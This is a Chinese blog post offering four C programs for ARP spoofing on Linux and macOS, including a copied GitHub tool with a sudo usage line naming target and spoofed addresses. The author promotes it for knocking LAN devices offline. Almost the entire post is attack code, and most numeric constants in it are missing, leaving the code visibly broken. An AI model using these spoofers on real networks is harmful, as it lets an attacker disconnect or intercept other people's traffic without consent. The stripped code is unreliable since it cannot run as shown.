linux系统， 简化版的ARP欺骗工具

　　最近刚好在看linux系统socket相关的API， 刚好看到ARP相关的接口，就想到了arp欺骗， 以下为arp报文的数据结构

　　我这边所用原始的C++ 实现了一个ARP欺骗， 没有很多代码， 只要把准备好的数据， 发送给到网卡接口， 利用这个小工具， 也可以让局域网内的一台计算机或者移动设备暂时掉线， 很好用谁试谁知道：

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <memory.h>

#include <net/ethernet.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <net/if.h>

#include <linux/if_packet.h>

#include <linux/if_ether.h>

#include <sys/ioctl.h>

#include <bits/ioctls.h>

#include <string.h>

//int 4字节

//shor 2字节

//char 1字节

struct ARP_header

{

    unsigned short    Hardware ;

    unsigned short    Protocol ;

    unsigned char    HardwareAddressLen ;

    unsigned char    ProtocolAddressLeng ;

    unsigned short    Operation ;

    unsigned char    SourceHardareAddr[] ;

    unsigned char    SourceProtocolAddr[] ;

    unsigned char    TargetHardareAddr[] ;

    unsigned char    TargetProtocolAddr[] ;

};

int main( int argc, char * argv[]) {
    //网卡名字， 这个要改成你自己计算机的网卡名

    unsigned char NetInterface[] = "wlp3s0";

    struct ARP_header arp_sp;

    arp_sp.Hardware = htons();

    arp_sp.Protocol = htons();

    arp_sp.HardwareAddressLen = ;

    arp_sp.ProtocolAddressLeng = ;

    arp_sp.Operation = htons();

    unsigned char EthernetFrame[] = {};

    bzero(EthernetFrame, );

    //假数据， 发送伪造的IP地址和MAC

    unsigned char Spoofing_MAC[] = {};

    unsigned char Spoofing_IP[] = {&0Xff,&0Xff,&0Xff,&0XFF};

    //目标的地址和目标的MAC

    unsigned char Target_MAC[] = { 0Xd0, 0X7e, 0X35, 0X0a, 0Xef, 0Xd3};

    unsigned char Target_IP[] = {&0Xff,&0Xff,&0Xff,&0Xff};

    //本机的IP地址和MAC地址

    unsigned char Source_MAC[] = {0Xe0,0Xac,0Xcb,0X86,0Xfb,0X1e};

    unsigned char Source_IP[] = {&0Xff,&0Xff,&0Xff,&0Xff};

    //ARP内容

    memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char)*);

    memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char)*);

    memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char)*);

    memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char)*);

    //以太网头部

    memcpy(EthernetFrame, Target_MAC, sizeof(char)*);

    memcpy(EthernetFrame+, Source_MAC, sizeof(char)*);

    EthernetFrame[] = ETH_P_ARP / ;

    EthernetFrame[] = ETH_P_ARP % ;

    //以太网头部和ARP数据连接起来

    memcpy(EthernetFrame+, &arp_sp, sizeof(char)*);

    int ARPSocket;

    printf("Create Raw Socket");

    ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    if( ARPSocket <  ) {

        perror("socket failed");

        exit();

    }

    //获取设备

    struct sockaddr_ll device;

    device.sll_ifindex = if_nametoindex((const char*)NetInterface);

    if( device.sll_ifindex ==  ) {

        perror("sockaddr_ll error");

        exit();

    }

    printf("Index of interface %s is %d",NetInterface, device.sll_ifindex);

    device.sll_halen = htons();

    device.sll_family = AF_PACKET;

    int i = ;

    //连续发送100次

    for( i; i<; i++) {

        int sFd = sendto(ARPSocket, EthernetFrame, , , (struct sockaddr*)&device, sizeof(device));

        if( sFd <= ) {

            perror("sendto failed");

            exit();

        }

        sleep();

    }

    close(ARPSocket);

}

　　极简的arp欺骗源码：

#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <netinet/ether.h>

#include <netpacket/packet.h>

#include <unistd.h>

#include <sys/ioctl.h>

#include <string.h>

#include <net/if.h>

#include <pthread.h>

int main ( int argc, char *argv[] ) {

    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    while() {

        unsigned char send_msg[] = {

            //targetMAC

            0x00, 0x0c, 0x29, 0x27, 0x59, 0x68,

            //myMAC

            0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb,

            //ARP

            0x08,0x06,

            0x00, 0x01, 0x08, 0x00,

            0x06, 0x04, //mac length , ip length

            0x00, 0x02, //arp response

            0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb, //my mac

            , , , , //be fake IP address

            0x00, 0x0c, 0x29, 0x37, 0x59, 0x68, // targetMAC

            , , ,

        };

        struct sockaddr_ll sll;

        struct ifreq ethreq;

        strncpy( ethreq.ifr_name, "wlan0" ,IFNAMSIZ);

        ioctl(sock_raw_fd, SIOCGIFINDEX, (char*)&ethreq);

        bzero(&sll, sizeof(sll));

        sll.sll_ifindex = ethreq.ifr_ifindex;

        sendto(sock_raw_fd, send_msg, ,  , (struct sockaddr *)&sll, sizeof(sll));

        sleep();

    }

    return ;

}

　　linux的Arp欺骗源码

　　网上一搜， 刚好github这边有一个arp欺骗开源项目 ，基于C语言， 也有提供arp欺骗的源码， 使用方法和项目地址在文章最后：

/*  Copyright (C) 2013-2016  Vegetable avenger (r7418529@gmail.com)

    This program is free software: you can redistribute it and/or modify

    it under the terms of the GNU General Public License as published by

    the Free Software Foundation, either version 3 of the License, or

    (at your option) any later version.

    This program is distributed in the hope that it will be useful,

    but WITHOUT ANY WARRANTY; without even the implied warranty of

    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License

    along with this program.  If not, see <http://www.gnu.org/licenses/>.

*/

/*

 BUG list:

    1. using unlink interface to send pakcet , may cause an error

    2. -P flag unuse

*/

/*

Version 1.0 :     Basic ARP Spoofing function

Version 1.1 :     Add Control Operatior (-t , -s)

Version 1.2 :     Add -i Control Operator ,

        Update Localhost IP/MAC information fetch function ,

        Enhance -t Operator , add ARP table lookup capability .

*/

// Send an IPv4 ARP Spoofing packet via raw socket

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <arpa/inet.h>

#include <sys/ioctl.h>

#include <bits/ioctls.h>

#include <net/if.h>

#include <linux/if_ether.h>

#include <linux/if_packet.h>

#include <net/ethernet.h>

#include <errno.h>

//--------------------------------------------------------------------------

// the color of printf

#define P_NONE "\033[m"

#define P_RED "\033[0;32;31m"

#define P_GREEN "\033[0;32;32m"

//--------------------------------------------------------------------------

// ARP header

struct ARP_header

{

    unsigned short    Hardware ;

    unsigned short    Protocol ;

    unsigned char    HardwareAddressLen ;

    unsigned char    ProtocolAddressLeng ;

    unsigned short    Operation ;

    unsigned char    SoruceHardareAddr[] ;

    unsigned char    SourceProtocolAddr[] ;

    unsigned char    TargetHardareAddr[] ;

    unsigned char    TargetProtocolAddr[] ;

};

//--------------------------------------------------------------------------

// system flag

int Pass_flag = ;    // -P , pass data format resolution check

int I_flag = ;        // -i , interface flag

int S_flag = ;        // -s , spoofing

int T_flag = ;        // -t , Target IP flag

//--------------------------------------------------------------------------

// **************************************

// MAC address format check function

// **************************************

//

// this function work for check MAC address format

// it return 1 for match format , otherwise 0 for failed .

static int MAC_FormatCheck(char * argv)

{

    if(strlen(argv) !=)

        goto FormatError ;

    else

    {

        for(int i= ; i< ;i++)

        {

                char num1 =*(argv+i*) ;

                char num2 =*(argv+i*+) ;

        char dot  =*(argv+i*+) ;

            if(i< && dot !=':') //last set no :

            goto FormatError ;

        if(!((num1 >='a' || num1 <='e') ||

             (num1 >='A' || num1 <='E') ||

             (num1 >='' || num1 <='')) ||

           !((num2 >='a' || num2 <='e') ||

                     (num2 >='A' || num2 <='E') ||

                     (num2 >='' || num2 <='')))

            goto FormatError ;

        }

    }

    return  ;

FormatError :

    return ;

}

//--------------------------------------------------------------------------

// ***************************************

// MAC format tramsform(Danger function)

// ***************************************

//

// this function work for transform MAC data to decimal ,

// argc is two byte character data ,

// per MAC data call this function six times .

static int MAC_SubFormatTransform(char * argv)

{

    char num1 =*(argv) ;

    char num2 =*(argv+) ;

    int ret =;

    if(num1 <='') ret +=(num1-'') * ;

    else if(num1 <='e') ret +=(num1-'a' +) * ;

    else if(num1 <='E') ret +=(num1-'A' +) * ;

    if(num2 <='') ret +=(num2-'') ;

    else if(num2 <='e') ret +=(num2-'a' +) ;

    else if(num2 <='E') ret +=(num2-'A' +) ;

    return ret ;

}

//--------------------------------------------------------------------------

// ********************************

// Argument s resolution function

// *********************************

//

// this function work for Resolution -s operator ,

// it will return 1 for success , and 0 for faile ,

// if resolution success , Ret_IP and Ret_MAC will be Ethernet packet format due to argv .

static int Arg_s_Resolution(char *argv ,char *Ret_IP ,char *Ret_MAC)

{

    char IP_s[] ="";

    char MAC_s[] ="";

    int IP_i =;

    int MAC_i =;

    int slash =;

    int argvLen = strlen(argv);

    unsigned int tSpoofing_IP =- ;

    // devide argv in two part , IP and MAC , devided by '/'

    for(int i= ;i<argvLen ;i++)

    {

        if(*(argv+i) == '/' && slash==) // chech slash find or not

        slash =;

        else if(slash == ) // save IP data

        {

        if(IP_i==) // Error : IPv4 IP formate max 14 character ,OOO.OOO.OOO.OOO

            goto ResError ;

        IP_s[IP_i]= *(argv+i) ;

        IP_i ++ ;

        }

        else if(slash == ) // save MAC data

            {

                if(MAC_i==) // Error : MAC formate max 17 character ,XX:XX:XX:XX:XX:XX

                    goto ResError ;

        MAC_s[MAC_i]= *(argv+i) ;

                MAC_i ++ ;

            }

        else

        goto ResError ;

    }

    // resolution IP to ethernet format

    tSpoofing_IP = inet_addr(IP_s);

    if(tSpoofing_IP ==-)

        goto ResError ;

        memcpy(Ret_IP , &tSpoofing_IP ,sizeof(int));

    // resolution MAC to ethernet format

    if(MAC_FormatCheck(MAC_s)==)

        goto ResError ;

    for(int i= ; i< ;i++)

    {

        Ret_MAC[i] = MAC_SubFormatTransform(&MAC_s[i*]) ;

    }

    return ;

ResError :

    memset(Ret_IP , ,sizeof(char)*);

    memset(Ret_MAC , ,sizeof(char)*);

    return  ;

}

//--------------------------------------------------------------------------

// **********************************

// Get Localhost Interface information

// **********************************

//

// get localhost MAC and IP via iface

int getInterfaceInfo(unsigned char * iface ,unsigned char *local_IP ,unsigned char *local_MAC )

{

    // Get MAC address

    char tMAC[]="";

    char ifPath[]="/sys/class/net/";

        strcat(ifPath ,(char*)iface);

        strcat(ifPath ,"/address");

    FILE *if_f =fopen(ifPath , "r");

    if(if_f == NULL)

        return  ;

    else

    {

        fread(tMAC , , ,if_f);        //read MAC from /sys/class/net/iface/address

        fclose(if_f) ;

        for(int i= ; i< ;i++)        // confirm data to  local_MAC

            {

                *(local_MAC+i) = MAC_SubFormatTransform(&tMAC[i*]) ;

            }

    }

    // Get IP address

    // using ioctrl to get local IP ,

    // it may not bt an best way to achive that , i still search another way

    int fd;

    struct ifreq ifr;

    in_addr tIP ;

    fd = socket(AF_INET, SOCK_DGRAM, );    //using ioctl get IP address

    ifr.ifr_addr.sa_family = AF_INET;

    strcpy(ifr.ifr_name , (char*)iface);

    ioctl(fd, SIOCGIFADDR, &ifr);

    close(fd);

    tIP =((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;

    memcpy((char*)local_IP , &tIP ,sizeof(in_addr));

    return ;

}

//--------------------------------------------------------------------------

// ************************************

// Fetch Localhosdt ARP table

// ************************************

// find IP or MAC from  localhost arp table ,

#define FETCH_ARP_TABLE_ERROR        0x0000        // could not access localhost ARP table

#define FETCH_ARP_TABLE_SUCCESS        0x0001        // find ARP entry

#define FETCH_ARP_TABLE_UNKNOW        0x0002        // ARP entry unknow or empty

int FetchARPTable(char * TargetIP , char * TargetMAC)

{

    // ARP table at /proc/net/arp

    int ret =FETCH_ARP_TABLE_UNKNOW;

    FILE *ARP_f =fopen("/proc/net/arp" , "r");

        if(ARP_f == NULL)

        {

        ret =FETCH_ARP_TABLE_ERROR;

    }

    else

    {

        // pass title

        char Title[] ;        //file title , pass that

        fgets(Title , ,ARP_f);

        char t_IP[] ;

        char t_HW_type[] ;

        char t_Flags[] ;

        char t_MAC[] ;

        char t_Mask[] ;

        char t_Device[] ;

        while(!feof(ARP_f)) //search arp table

        {

        fscanf(ARP_f ,"%s %s %s %s %s %s",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device);

        if(strcmp(t_IP ,TargetIP)== &&

           strcmp(t_Flags ,"0x2")==)

        {

            //printf("%s|%s|%s|%s|%s|%s\n",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device) ;    // if you want to look data , unmark that

            ret =FETCH_ARP_TABLE_SUCCESS;

            // copy data to Target_MAC

            for(int i= ; i< ;i++)

                {

                *(TargetMAC+i) = MAC_SubFormatTransform(&t_MAC[i*]) ;

                }

            break ;

        }

        }

        fclose(ARP_f);

        }

    return ret ;

}

//--------------------------------------------------------------------------

// ********************

// ARP spoofing main

// ********************

int main(int argc, char* argv[])

{

    unsigned char NetInterface[]     ="eth0";

    unsigned char Target_IP[]    ={};    // Target IP

    unsigned char Soruce_IP[]     ={};    // localhost IP

    unsigned char Spoofing_IP[]     ={};    // Spoofing IP

    unsigned char Target_MAC[]     ={};    // TargetMAC , this value will lookup ARP table

    unsigned char Soruce_MAC[]     ={};    // localhost MAC;

    unsigned char Spoofing_MAC[]     ={};    // spoofing MAC

    unsigned char EthernetFrame[] ={};    // ethernet frame

    int opt;

    // opterr =0; //  disable getopt error message

    while((opt=getopt(argc, argv, "Pi:t:s:")) != -)

    {

        switch(opt)

        {

        case 'i': // interface

        {

            int iLen =strlen(optarg);

            if(iLen<)

            {

            char ifPath[]="/sys/class/net/";

            strcat(ifPath ,optarg);

            strcat(ifPath ,"/address");

            struct stat buf;

            if(stat(ifPath,&buf) == )

             {

                I_flag  = ;

                            memcpy(NetInterface , optarg ,sizeof(char)*iLen);

            }

            else

                printf(P_RED "Error" P_NONE ": Unknow interface : [" P_GREEN "%s" P_NONE "]\n",optarg);

            }

            else

            printf(P_RED "Error" P_NONE ": Interface identify size unmatch , please fix source code\n");

        }

        break ;

            case 't': // target IP

        {

            // check IP format

            unsigned int tTarget_IP = inet_addr(optarg);

                    if(tTarget_IP !=-)

                    {

            // Get target MAC from ARP table

                if(FetchARPTable((char*)optarg ,(char*)Target_MAC)==FETCH_ARP_TABLE_SUCCESS)

            {

                memcpy(Target_IP , &tTarget_IP ,sizeof(int));

                T_flag = ;

            }

                else

                printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,ARP table lookup failed \n",optarg);

            }

            else

            printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,format resolution failed \n",optarg);

        }

        break ;

            case 's': // spoofing IP and mac

        {

            if(Arg_s_Resolution(optarg ,(char*)&Spoofing_IP[] ,(char*)&Spoofing_MAC[] )==)

            printf(P_RED "Error" P_NONE ": Spoofing data resolution failed\n");

            else

            S_flag =;

            }

        break;

        case 'P':

        {

            Pass_flag =;

        }

        break ;

        default :

            printf(P_RED "Error" P_NONE ":Unkonw Argument\n!");

        break ;

            }

    }

    // chech flag

    if(I_flag == ||

       S_flag == ||

       T_flag == ||

       getInterfaceInfo(NetInterface , Soruce_IP ,Soruce_MAC) == ) // Get localhost IP and MAC

    {

        printf("ARP_Spoofing Error\n");

        exit(-);

    }

    // set ARP header

    ARP_header ARP_Spoofing ;

    ARP_Spoofing.Hardware = htons ();

    ARP_Spoofing.Protocol = htons ();

    ARP_Spoofing.HardwareAddressLen = ;

    ARP_Spoofing.ProtocolAddressLeng = ;

    ARP_Spoofing.Operation = htons();

    memcpy(ARP_Spoofing.SoruceHardareAddr  ,Spoofing_MAC    ,sizeof(char)*);

    memcpy(ARP_Spoofing.SourceProtocolAddr ,Spoofing_IP    ,sizeof(char)*);

    memcpy(ARP_Spoofing.TargetHardareAddr  ,Target_MAC,sizeof(char)*);

    memcpy(ARP_Spoofing.TargetProtocolAddr ,Target_IP ,sizeof(char)*);

    memcpy(EthernetFrame ,Target_MAC ,sizeof(char)*);

    memcpy(EthernetFrame+ ,Soruce_MAC ,sizeof(char)*);

    EthernetFrame[] = ETH_P_ARP / ;

    EthernetFrame[] = ETH_P_ARP % ;

    // copy ARP header to ethernet packet

    memcpy (EthernetFrame + , &ARP_Spoofing, sizeof (char)*);

    /*------------------------------------------*/

     int ARPSocket ;

        // create socket

        printf("Create RAW Socket ... ");

        if( (ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) )) <)

    {

            printf("%s",strerror(errno));

            printf("%d\n", ARPSocket);

            printf("Faile\n");

            exit(-);

    }

        printf("Successfully\n");

    // Get Interface ibdex

    struct sockaddr_ll device;

    if ((device.sll_ifindex = if_nametoindex ((const char*)NetInterface)) == )

    {

         printf("if_nametoindex() failed to obtain interface index ");

            exit (EXIT_FAILURE);

      }

    printf ("Index for interface %s is %i\n", "eth0", device.sll_ifindex);

    device.sll_family = AF_PACKET;

      device.sll_halen = htons ();

      int i = ;

      for(i; i<; i++) {

        printf("send %d", i);

        if (sendto (ARPSocket, EthernetFrame, , , (struct sockaddr *) &device, sizeof (device)) <= )

        {

            perror ("sendto() failed");

            exit (EXIT_FAILURE);

        }

        sleep();

      }

    // close socket

    close(ARPSocket);

    // free data

    printf("finish\n");

}

　　所用方法为：

sudo ./arpspoof -t 192.168.0.116 -s 192.168.0.6/EE:EE:EE:EE:EE:EE -i wlp3s0

　　Mac的Arp欺骗源码

　　我的系统为Mac， 也有Mac系统arp欺骗的代码， 这个亲测可行， 和linux上面有点区别的是需要ioctl将bpf与网络接口进行绑定， 而且我也假设网卡的名字是en0， 在被攻击的机器上面使用wireshark可以监听到这个arp请求 ：

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <net/bpf.h>

#include <sys/socket.h>

#include <net/if.h>

#include <unistd.h>

#include <fcntl.h>

#include <net/ethernet.h>

#include <netinet/if_ether.h>

#include <arpa/inet.h>

//const items

#define DEV_PLEN 12              //device path length, 设备路径长度。比如"/dev/bpf255"，最长11个字节加最后一位终止符，共12字节

const char INTERFACE[] = "en0";

const u_char TARGET_MAC[] = {0xd0,0x7e,0x35,0x0a,0xef,0xd3}; //victim's mac

const u_char SOURCE_MAC[] = {0xbb,0xbb,0xbb,0xbb,0xbb,0xbb}; //attacker's mac

const u_char TARGET_IP[] = {,,,};                    //victim's ip

const u_char SOURCE_IP[] = {,,,};                    //gateway's ip, 这里也一样，因为我们要假装是网关，所以用网关的ip

//main function

int main(int argc, char **argv) {

    int bpf = -;

    int devno = ;

    char dev[DEV_PLEN];

    u_char frame[];

    //create arp frame -- 与之前相同，创建一个42字节长的arp帧

    struct ether_header ehead;

    struct ether_arp earp;

    memcpy(ehead.ether_dhost, TARGET_MAC, ETHER_ADDR_LEN);

    memcpy(ehead.ether_shost, SOURCE_MAC, ETHER_ADDR_LEN);

    ehead.ether_type = htons(ETHERTYPE_ARP);

    earp.arp_hrd = htons(ARPHRD_ETHER);

    earp.arp_pro = htons(ETHERTYPE_IP);

    earp.arp_hln = ETHER_ADDR_LEN;

    earp.arp_pln = ;

    earp.arp_op = htons(ARPOP_REPLY);

    memcpy(earp.arp_sha, SOURCE_MAC, ETHER_ADDR_LEN);

    memcpy(earp.arp_spa, SOURCE_IP, );

    memcpy(earp.arp_tha, TARGET_MAC, ETHER_ADDR_LEN);

    memcpy(earp.arp_tpa, TARGET_IP, );

    memcpy(frame, &ehead, sizeof(ehead));

    memcpy(frame + sizeof(ehead), &earp, sizeof(earp));

    printf("* ARP frame created.\n");

     printf("%d\n",bpf);

    // find available bpf device -- 找到空闲的bpf设备

    while(bpf < ) {

        snprintf(dev, DEV_PLEN, "/dev/bpf%d", devno);

        bpf = open(dev, O_WRONLY);

        ++devno;

        if(devno > ) {

            printf("/dev/bpf* full.\n");

            exit(EXIT_FAILURE);

        }

    }

    printf("* /dev/bpf%d available.\n", --devno);

    // bound bpf to an interface -- 通过ioctl将bpf与网络接口进行绑定

    struct ifreq boundif;

    strncpy(boundif.ifr_name, INTERFACE, strlen(INTERFACE));

    if(ioctl(bpf, BIOCSETIF, &boundif) < ) {

        perror("ioctl() failed");

        close(bpf);

        exit(EXIT_FAILURE);

    }

    printf("* Interface %s bound.\n", INTERFACE);

    // write to bpf -- 直接写入bpf即可发送，因为arp帧的头部已经包含了目标地址信息

    if(write(bpf, frame, sizeof(frame)) < ) {

        perror("write() failed");

        close(bpf);

        exit(EXIT_FAILURE);

    }

    printf("* Done write to bpf.\n");

    close(bpf);

    return ;

}

　　参考：

　　linux，源码的地址： github

　　MacArp欺骗源码地址：https://lngost.github.io/pages/articles/tech/ARP-Packet-By-c/arp-packet-by-c.html

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